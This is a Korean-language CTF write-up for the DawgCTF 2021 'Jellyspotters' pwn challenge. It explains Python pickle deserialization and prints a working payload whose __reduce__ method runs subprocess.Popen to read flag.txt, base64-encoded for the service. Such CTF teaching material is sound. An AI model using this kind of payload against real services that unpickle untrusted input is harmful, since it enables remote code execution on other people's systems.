[DawgCTF 2021] :pwn: Jellyspotters Write-Up
두비니
·2021. 5. 18. 17:15
Jellyspotters - 100pts
Description
Tag
pwnable, pickle, python
Problem Analysis
그림을 그리는 프로그램이네용
대충 이런 프로그램이고 이것저것 해봤는데
Pickle을 사용한다는 것을 알 수 있군요
Pickle은 취약점이 발생합니다. 글 첨부합니다.
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
그럼 이걸 가지고 RCE를 해봅시당
Exploit
자 기본적으로 pickle의 취약점은 __reduce__ 메서드를 부를 때, 리턴에 함수명 및 인자를 작성해놓으면, 나중에 load할 때 함수가 아예 실행되버린다는 것입니다.
그럼 이 점을 이용하면 되겠죠?
추가로 한가지 더 생각할 부분이 있다면 base64 decoding을 한 뒤에 받는 걸 볼 수 있기 때문에, 결과값을 base64 encoding하고 받으면 좋겠네용.
그래서 다음과 같이 코드를 작성했습니다.
import subprocess
import base64
import pickle
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('cat', 'flag.txt'),))
print(base64.b64encode(pickle.dumps(Exploit())))
저는 subprocess.Popen을 사용했는데, 그냥 os.system()사용해도 전혀 상관이 없습니다.
굳굳
'CTF' 카테고리의 다른 글
Hacktheon 2023 (Quals) Write-Up (0) | 2023.05.17 |
---|---|
[DawgCTF 2021] :pwn: MDL Considered Harmful Write-Up (0) | 2021.05.15 |
[DawgCTF 2021] :pwn: Bofit Write-Up (0) | 2021.05.14 |
[DawgCTF 2021] :pwn: No Step On Snek Write-Up (0) | 2021.05.14 |
[DawgCTF 2021] Write-Up :Misc: (0) | 2021.05.11 |